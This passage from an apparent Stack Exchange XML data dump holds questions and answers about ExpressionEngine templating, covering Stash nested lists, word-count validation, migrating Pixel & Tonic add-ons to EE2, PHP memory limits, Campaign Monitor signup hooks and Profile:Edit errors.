allow_scale_larger=&quot;yes&quot;}&#xA;(0.329617 / 25.10MB) Closing Tag Found&#xA;(0.329677 / 25.11MB) Plugin Tag: Ce_img/pair&#xA;(0.329691 / 25.11MB) Including Files for Plugins and Modules&#xA;(0.329702 / 25.11MB) Files for Plugins and Modules All Included&#xA;(0.329733 / 25.11MB) Beginning Final Tag Data Processing&#xA;(0.329746 / 25.11MB) Calling Class/Method: Ce_img/pair&#xA;(0.329863 / 25.11MB) -&amp;gt; Class Called: Ce_img&#xA;(0.329888 / 25.11MB) -&amp;gt; Method Called: pair&#xA;(0.331330 / 25.14MB)   ***  CE Image debug: Base path: '/my_server_path/'&#xA;(0.331343 / 25.14MB)   ***  CE Image debug: Source image: 'http://www.mydomain.ch/media/bilder/_max_size/_ULI_Kairo_02.JPG', Fallback image: ''&#xA;(0.331352 / 25.14MB)   ***  CE Image debug: The image '/my_server_path/images/made/media/bilder/_max_size/_ULI_Kairo_02_600_400_s.JPG' is cached.&#xA;(0.331856 / 25.12MB) -&amp;gt; Data Returned&#xA;(0.332686 / 25.10MB) Calling Extension Class/Method: Mo_variables_ext/cleanup&#xA;(0.332865 / 25.10MB) Calling Extension Class/Method: Stash_ext/template_post_parse&#xA;(0.333805 / 25.11MB) Calling Extension Class/Method: Structure_ext/template_post_parse&#xA;(0.334644 / 25.09MB) Calling Extension Class/Method: Structure_ext/template_post_parse&#xA;(0.334842 / 25.07MB) - End Template Processing -&#xA;(0.334855 / 25.07MB) Parse Global Variables&#xA;(0.338096 / 25.08MB) Template Parsing Finished&#xA;Memory Usage: 27,221,456 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;one thing I've learned here is that the wrapper template should absolutely contain NO EMBEDS! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially I had 2 embeds within the wrapper template and this was slowing down performance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;still: if anybody knows anything on how to even speed up things, you're very much welcome with your suggestions! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;mark: thanks for being so helpful already! &lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-02-12T19:30:25.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6244" PostTypeId="2" ParentId="6080" CreationDate="2013-02-12T20:06:57.943" Score="1" Body="&lt;p&gt;Try this, if it works I'll attempt to explain it!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main template (the template that's called by the URL)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- ====================================&#xA;FETCH AND CACHE THE RAW DATASET&#xA;========================================= --}&#xA;&#xA;{exp:stash:set_list name=&quot;data&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries channel=&quot;photoblog&quot; limit=&quot;14&quot; dynamic=&quot;no&quot;}&#xA;        {stash:titles}{title}{/stash:titles}&#xA;        {stash:descriptions}{description}{/stash:descriptions}&#xA;        {exp:stash:set_list:2 name=&quot;photo_urls&quot; parse_tags=&quot;yes&quot; context=&quot;cx{count}&quot;}{photos}{stash:url}{image}{/stash:url}{/photos}{/exp:stash:set_list:2}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- ====================================&#xA;ASSEMBLE MARKUP AROUND THE DATA, ready for &#xA;use in the View.&#xA;========================================= --}&#xA;&#xA;{exp:stash:get_list name=&quot;data&quot;}  &#xA;&#xA;    {exp:stash:append name=&quot;desc1&quot;}&#xA;        &amp;lt;div {if count=='1'}style=&quot;display:block;&quot;{/if}&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{titles}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/exp:stash:append}&#xA;&#xA;    {exp:stash:append name=&quot;desc2&quot;}&#xA;    &amp;lt;div {if count=='1'}style=&quot;display:block;&quot;{/if}&amp;gt;        &#xA;        {descriptions}&#xA;        &amp;lt;a href=&quot;#&quot; class=&quot;more&quot;&amp;gt;Details&amp;lt;/a&amp;gt; &#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:stash:append}&#xA;&#xA;    {exp:stash:get_list:2 name=&quot;photo_urls&quot; context=&quot;cx{count}&quot;}&#xA;&#xA;        {exp:stash:append name=&quot;preview_photos&quot;}&#xA;            &amp;lt;img class=&quot;pg_thumb&quot; {if count=='1'}style=&quot;display:block;&quot;{/if} src=&quot;{url}&quot; width=&quot;900&quot; height=&quot;550&quot; alt=&quot;&quot; /&amp;gt;&#xA;        {/exp:stash:append}&#xA;&#xA;        {exp:stash:append name=&quot;slider&quot;}&#xA;            &amp;lt;div class=&quot;content {if count=='1'}first{/if}{if count=='14'}last{/if}&quot;&amp;gt;    &#xA;                &amp;lt;div&amp;gt;&amp;lt;a class=&quot;slide-h act&quot; href=&quot;#&quot;&amp;gt;{exp:ce_img:pair src=&quot;{url}&quot; width=&quot;120&quot; height=&quot;90&quot; crop=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; class=&quot;thumb&quot; /&amp;gt;{/exp:ce_img:pair}&amp;lt;i&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/exp:stash:append}&#xA;&#xA;    {/exp:stash:get_list:2}&#xA;&#xA;{/exp:stash:get_list}&#xA;&#xA;{!-- ====================================&#xA;EMBED the VIEW&#xA;========================================= --}&#xA;&#xA;{embed=site/view}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Embedded View template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;holder&quot; class=&quot;h&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;pg_content&quot;&amp;gt; &#xA;&#xA;    &amp;lt;div id=&quot;pg_preview&quot;&amp;gt;&#xA;      {exp:stash:preview_photos}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pg_desc1&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;      {exp:stash:desc1}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc1--&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pg_desc2&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;      {exp:stash:desc2}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc2--&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div id=&quot;big-mask&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;div id=&quot;thumbContainter&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;thumbScroller&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;container&quot;&amp;gt;    &#xA;        {exp:stash:slider}        &#xA;        &amp;lt;div class=&quot;marker&quot;&amp;gt;&amp;lt;/div&amp;gt;    &#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!--thumbContainter--&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!--holder--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-02-12T20:06:57.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6246" PostTypeId="2" ParentId="6080" CreationDate="2013-02-12T20:21:13.057" Score="1" Body="&lt;p&gt;Well I think you're nearly there; first you need the name given to the inner list to be linked to the outer list row item - at the moment you are overwriting it with each iteration of the outer list when you set the lists. You can use &lt;code&gt;{entry_id}&lt;/code&gt; as the namespace for that, either as a suffix appended to the inner list name or as the specified context for the inner list (with the &lt;code&gt;context=&quot;&quot;&lt;/code&gt; parameter). Secondly, you have multiple images to capture so those wrapping tags need to be inside the custom field tag pair. Thirdly, it's good practice to try to capture only values - not markup - when setting variables and lists. Decoupling the capturing/presentation of a set of data like that makes it much easier to change the way that data is presented, permits reuse and aids legibility.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;photos-list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;  {exp:channel:entries channel=&quot;photoblog&quot; limit=&quot;5&quot; orderby=&quot;&quot; disable=&quot;member_data|pagination|categories&quot; dynamic=&quot;no&quot;}&#xA;&#xA;      {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;      {stash:title}{title}{/stash:title}&#xA;      {stash:description}{description}{/stash:description}&#xA;&#xA;      {exp:stash:set_list:nested name=&quot;photos-image_{entry_id}&quot; parse_tags=&quot;yes&quot;}     &#xA;          {photos}&#xA;             {stash:image}{image}{/stash:image}&#xA;          {/photos}&#xA;      {/exp:stash:set_list:nested}    &#xA;&#xA;  {/exp:channel:entries} &#xA;{/exp:stash:set_list} &#xA;&#xA;&#xA;{exp:stash:get_list &#xA;  name=&quot;photos-list&quot; &#xA;  orderby=&quot;entry_id&quot; &#xA;  sort=&quot;asc&quot; &#xA;  limit=&quot;5&quot;&#xA;  prefix=&quot;outer&quot;&#xA;}&#xA;    &amp;lt;div id=&quot;pg_preview&quot;&amp;gt;&#xA;      {exp:stash:get_list:nested name=&quot;photos-image_{entry_id}&quot; prefix=&quot;inner&quot;}&#xA;          &amp;lt;img class=&quot;pg_thumb&quot; {if inner:count==1}style=&quot;display:block;&quot;{/if} src=&quot;{image}&quot; width=&quot;1000&quot; height=&quot;714&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;      {/exp:stash:get_list:nested}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pg_desc1&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;      &amp;lt;div {if outer:count==&quot;1&quot;}style=&quot;display:block;&quot;{/if}&amp;gt;&#xA;        &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc1--&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;pg_desc2&quot; class=&quot;pg_description&quot;&amp;gt;&#xA;        &amp;lt;div {if outer:count==&quot;1&quot;}style=&quot;display:block;&quot;{/if}&amp;gt;        &#xA;          {description}&#xA;          &amp;lt;a href=&quot;#&quot; class=&quot;more&quot;&amp;gt;Details&amp;lt;/a&amp;gt; &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--pg_desc2--&amp;gt;&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is an example of nesting lists in the docs too:&#xA;&lt;a href=&quot;https://github.com/croxton/Stash#example-usage-5-nesting-yep-you-really-can-do-this&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash#example-usage-5-nesting-yep-you-really-can-do-this&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-02-12T20:21:13.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6247" PostTypeId="1" AcceptedAnswerId="6248" CreationDate="2013-02-12T20:22:03.003" Score="0" ViewCount="1323" Body="&lt;p&gt;I have a working safecracker entryform. My client would like visitors to write at least X words before submitting the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to show the number of words a visitor has typed in real time (on key up). &#xA;Once the amount of words has reached X the visitor should be able to submit the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at the docs: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#form-validation&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#form-validation&lt;/a&gt;. They pointed me to &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/libraries/form_validation.html#rulereference&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/codeigniter/user-guide/libraries/form_validation.html#rulereference&lt;/a&gt;. The closest rule I found is: min_length. This only gives me a char count. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to validate by number of words.&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2013-02-12T20:26:54.293" Title="How can I validate against a minimum number of words in a safecracker textarea?" Tags="|safecracker|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6248" PostTypeId="2" ParentId="6247" CreationDate="2013-02-12T20:26:54.293" Score="0" Body="&lt;p&gt;If it's on keyup, you need to handle it in the browser, with jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;a href=&quot;http://plugins.jquery.com/?s=form%20validate&quot; rel=&quot;nofollow&quot;&gt;two jQuery plugins here&lt;/a&gt;. If validating on word count is not supported, you can write custom validation functions for either. You'd want to leverage what they're doing for validating minimum character length, split on spaces, and then get the length of that array. The length of the array would be the number of words.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like you're looking to do more than just validate, though –&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I would like to show the number of words a visitor has typed in real time (on key up).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Validate implies that there would be an error message when you tab out of the field (onblur) or submit the form (onsubmit). You might need to do a bit more work than just leverage the validator plugin to display the current word count as the user is typing.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-12T20:26:54.293" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6249" PostTypeId="1" AcceptedAnswerId="6257" CreationDate="2013-02-12T20:32:41.717" Score="0" ViewCount="189" Body="&lt;p&gt;I'm in the process of migrating a site from EE1 to EE2. I successfully upgraded to EE2, but all the P&amp;amp;T addons (Matrix, Wygwam, Playa &amp;amp; Field Pack) seemed to default to either &lt;code&gt;text&lt;/code&gt;, &lt;code&gt;select&lt;/code&gt;, &lt;code&gt;ftype_id_X&lt;/code&gt;, or &lt;code&gt;wysiwyg&lt;/code&gt; under the &lt;code&gt;field_type&lt;/code&gt; column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I successfully update and preserve the fieldtype settings? I didn't see any docs specific to migration with these addons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed a &lt;code&gt;ff_settings&lt;/code&gt; column in the &lt;code&gt;exp_channel_fields&lt;/code&gt; table, but &lt;code&gt;NULL&lt;/code&gt; value in the &lt;code&gt;field_settings&lt;/code&gt; column?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to edit a field group, I get theses errors (see attached). They Wygwam fields are blank in the type column?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rR75a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help.  &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Wygwam Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Wygwam fields were easy to update, I just ran a query in the DB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_fields SET field_type = 'wygwam' WHERE field_type = 'wysiwyg'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Playa Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;All playa fields are text inputs right now that, which have data stored like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[101] Title 1[102] Title 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I update the field settings to Playa with the correct filters, no entries are selected in the right pane of the multi-select. &lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-02-12T20:54:56.180" LastActivityDate="2013-02-12T23:25:46.243" Title="Preserving Pixel &amp; Tonic Fieldtype Settings After Migrating to EE2" Tags="|matrix|playa|wygwam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6250" PostTypeId="2" ParentId="6240" CreationDate="2013-02-12T21:00:23.553" Score="1" Body="&lt;p&gt;It might be PHP memory. Try the following in your .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value memory_limit 128M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; If this definitely improves some of them, you might need to keep bumping it up. Try 256M. You're throwing a solution at the problem to see if it fixes it. If so, it's a performance issue in those templates. You can try turning on the Template Debugger or Output Profiler to see what you can find as well, on the pages that will load.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-12T21:21:06.377" LastActivityDate="2013-02-12T21:21:06.377" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="6251" PostTypeId="1" AcceptedAnswerId="6253" CreationDate="2013-02-12T22:00:59.150" Score="0" ViewCount="76" Body="&lt;p&gt;I have a client who would like to have members register for the discussion forums and when the user submits the form if they selected the checkbox to recieve a newsletter the form would both register the member (save info to EE) and submit their name, email and phone number (not sure if CC takes phone numbers) to campaign monitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First question - is it possible to have one form that submits to two different action urls?&#xA;If so what would be the best way to set this up in the forum templates? I'm using a &lt;a href=&quot;http://devot-ee.com/add-ons/scaffold&quot; rel=&quot;nofollow&quot;&gt;modified scaffold theme&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second - assuming this can be done the next step involves getting the email, name and phone inputs to be used for both forms. The issue I see here is that the inputs have different names for the EE end and for Campaign Monitor.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-02-12T22:14:07.540" Title="Forum Registration where submit also sends info Campaign Monitor" Tags="|members|forum|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6252" PostTypeId="1" AcceptedAnswerId="6302" CreationDate="2013-02-12T22:12:25.057" Score="1" ViewCount="425" Body="&lt;p&gt;I'm using Profile:Edit for a site running EE 2.5.5. Logged in as Super Admin when I try to edit the account/profile info I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The form you submitted contained the following errors&#xA;&#xA;- Invalid member&#xA;&#xA;Return to Previous Page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:profile:edit return=&quot;members&quot;}&#xA;                    &amp;lt;fieldset&amp;gt;&#xA;                        &amp;lt;p class=&quot;profile-row&quot;&amp;gt;&#xA;                            &amp;lt;strong&amp;gt;Username&amp;lt;/strong&amp;gt; &amp;lt;span&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;{username}&quot; /&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&#xA;&#xA;                        &amp;lt;p class=&quot;profile-row&quot;&amp;gt;&#xA;                            &amp;lt;strong&amp;gt;Email&amp;lt;/strong&amp;gt; &amp;lt;span&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;{email}&quot; /&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;                    &amp;lt;fieldset&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Note:&amp;lt;/strong&amp;gt; Leave blank if you do not wish to change your password.&amp;lt;/p&amp;gt;&#xA;&#xA;                        &amp;lt;p class=&quot;profile-row&quot;&amp;gt;&#xA;                            &amp;lt;strong&amp;gt;New Password&amp;lt;/strong&amp;gt; &amp;lt;span&amp;gt;&amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; /&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&#xA;&#xA;                        &amp;lt;p class=&quot;profile-row&quot;&amp;gt;&#xA;                            &amp;lt;strong&amp;gt;Confirm New Password&amp;lt;/strong&amp;gt; &amp;lt;span&amp;gt;&amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; value=&quot;&quot; /&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&#xA;&#xA;                        {!-- superadmins don't have to submit existing password --}&#xA;                        {if logged_in_group_id != 1}&#xA;                            &amp;lt;p class=&quot;profile-row&quot;&amp;gt;&#xA;                                &amp;lt;strong&amp;gt;Your Existing Password&amp;lt;br /&amp;gt;&amp;lt;em&amp;gt;(You must submit the current password to update this page)&amp;lt;/em&amp;gt;&amp;lt;/strong&amp;gt; &amp;lt;span&amp;gt;&amp;lt;input type=&quot;password&quot; name=&quot;current_password&quot; value=&quot;&quot; /&amp;gt;&amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                        {/if}&#xA;                    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;                    &amp;lt;fieldset&amp;gt;&#xA;                        {custom_fields}&#xA;                            &amp;lt;p class=&quot;profile-row&quot;&amp;gt;&#xA;                                &amp;lt;strong&amp;gt;&amp;lt;label for=&quot;{field_name}&quot;&amp;gt;{field_label} {if required}*{/if}&amp;lt;/label&amp;gt;&amp;lt;/strong&amp;gt;&#xA;&#xA;                                {!-- {field_instructions}&#xA;&#xA;                                {formatting_buttons} --}&#xA;                                &amp;lt;span&amp;gt;&#xA;                                    {if textarea}&amp;lt;textarea id=&quot;{field_name}&quot; name=&quot;{field_name}&quot; dir=&quot;{text_direction}&quot; rows=&quot;{rows}&quot;&amp;gt;{field_data}&amp;lt;/textarea&amp;gt;{/if}&#xA;&#xA;                                    {if text}&amp;lt;input type=&quot;text&quot; dir=&quot;{text_direction}&quot; id=&quot;{field_name}&quot; name=&quot;{field_name}&quot; value=&quot;{field_data}&quot; maxlength=&quot;{maxlength}&quot; /&amp;gt;{/if}&#xA;&#xA;                                    {if select}&#xA;                                        &amp;lt;select id=&quot;{field_name}&quot; name=&quot;{field_name}&quot;&amp;gt;&#xA;                                        {options}&amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;{/options}&#xA;                                        &amp;lt;/select&amp;gt;&#xA;                                    {/if}&#xA;&#xA;                                    {if date}&amp;lt;input type=&quot;text&quot; id=&quot;{field_name}&quot; name=&quot;{field_name}&quot; value=&quot;{field_data}&quot; /&amp;gt;{/if}&#xA;&#xA;                                    {if checkbox}&#xA;                                        {options}&amp;lt;label class=&quot;checkbox&quot;&amp;gt;{option_value} &amp;lt;input type=&quot;checkbox&quot; id=&quot;{field_name}&quot; name=&quot;{field_name}[]&quot; value=&quot;{option_value}&quot;{checked} /&amp;gt;&amp;lt;/label&amp;gt;{/options}&#xA;                                    {/if}&#xA;&#xA;                                    {if radio}&#xA;                                        {options}&amp;lt;label class=&quot;checkbox&quot;&amp;gt;{option_value}&amp;lt;label class=&quot;checkbox&quot;&amp;gt; &amp;lt;input type=&quot;radio&quot; id=&quot;{field_name}&quot; name=&quot;{field_name}&quot; value=&quot;{option_value}&quot;{checked} /&amp;gt;&amp;lt;/label&amp;gt;{/options}&#xA;                                    {/if}&#xA;&#xA;                                    {if file}{display_field}{/if}&#xA;&#xA;                                    {if relationship}&#xA;                                        &amp;lt;select id=&quot;{field_name}&quot; name=&quot;{field_name}&quot;&amp;gt;&#xA;                                        {options}&amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;{/options}&#xA;                                        &amp;lt;/select&amp;gt;&#xA;                                    {/if}&#xA;&#xA;                                    {if multiselect}&#xA;                                        &amp;lt;select id=&quot;{field_name}&quot; name=&quot;{field_name}[]&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;                                        {options}&amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;{/options}&#xA;                                        &amp;lt;/select&amp;gt;&#xA;                                    {/if}&#xA;                                &amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                        {/custom_fields}&#xA;                    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;                    &amp;lt;fieldset&amp;gt;&#xA;                        &amp;lt;input type=&quot;submit&quot; value=&quot;Save&quot; /&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&#xA;                {/exp:profile:edit}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen this or know how to troubleshoot &amp;amp; fix? Is the member ID or entry ID needed in the URL (currently not there as the &lt;a href=&quot;http://mightybigrobot.com/docs/profile-edit/#edit-profile&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; say it's not necessary)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If I edit in the back-end via the member channel entry, it works fine.)&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2013-02-13T17:16:45.617" Title="&quot;Invalid Member&quot; error when trying to edit profile using Profile:Edit" Tags="|ee2|members|profile-edit|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6253" PostTypeId="2" ParentId="6251" CreationDate="2013-02-12T22:14:07.540" Score="1" Body="&lt;p&gt;We've submitted form data over to SalesForce using PHP in an extension called on Freeform's post submit hook. The same would apply here. I suspect you want the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member_register/index.html#member-member-register&quot; rel=&quot;nofollow&quot;&gt;member_member_register hook&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just write your extension to fire on that hook, and you can work with the API however you need to. You'll load data from the member database, and post it over to Campaign Monitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, there are &lt;a href=&quot;http://devot-ee.com/search/results?keywords=campaign%20monitor&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;a bunch of add-ons that claim to post new members to Campaign Monitor&lt;/a&gt;. Have you examined those?&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-12T22:14:07.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6254" PostTypeId="2" ParentId="6252" CreationDate="2013-02-12T22:28:22.450" Score="0" Body="&lt;p&gt;If you are logged in as Super Admin, but are editing a different profile, I believe you will need that entry_id. Have you tried adding it and seeing if it works? Otherwise it's pulling it via the logged_in_member_id I think, IIRC. &lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-02-12T22:28:22.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6256" PostTypeId="1" AcceptedAnswerId="6259" CreationDate="2013-02-12T23:25:14.233" Score="5" ViewCount="1344" Body="&lt;p&gt;Is there a way to display all the members that belong to a certain group_id inside a template without resorting to the lame and gross profile_themes nonsense?&lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2023-03-25T18:52:47.937" Title="Display members in group in template" Tags="|members|groups|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6257" PostTypeId="2" ParentId="6249" CreationDate="2013-02-12T23:25:46.243" Score="2" Body="&lt;p&gt;Each of our EE2 add-ons include a script that gets run during installation, which will attempt to determine if its EE1 counterpart used to be installed, and migrate all of the old settings and data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all that you should need to do is upgrade to EE2 and then install the EE2 versions of our add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that didn’t work for you, chances are you tampered with the old exp_ff_fieldtypes table, or edited your field settings before installing the add-ons. I'd suggest that you re-attempt the EE2 upgrade, and go straight to installing the P&amp;amp;T add-ons before doing anything else.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-02-12T23:25:46.243" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6258" PostTypeId="2" ParentId="6256" CreationDate="2013-02-12T23:36:43.857" Score="4" Body="&lt;p&gt;We've done it before, but as we've been using Profile:Edit or Zoo Visitor, we've just used the standard exp:channel:entries tag to do the listing as Member data is transferred into Channel Entries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;members&quot;&#xA;    dynamic=&quot;off&quot;&#xA;    status=&quot;Open&quot;&#xA;    group_id=&quot;8&quot;&#xA;    limit=&quot;50&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Job done.&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2013-02-12T23:36:43.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
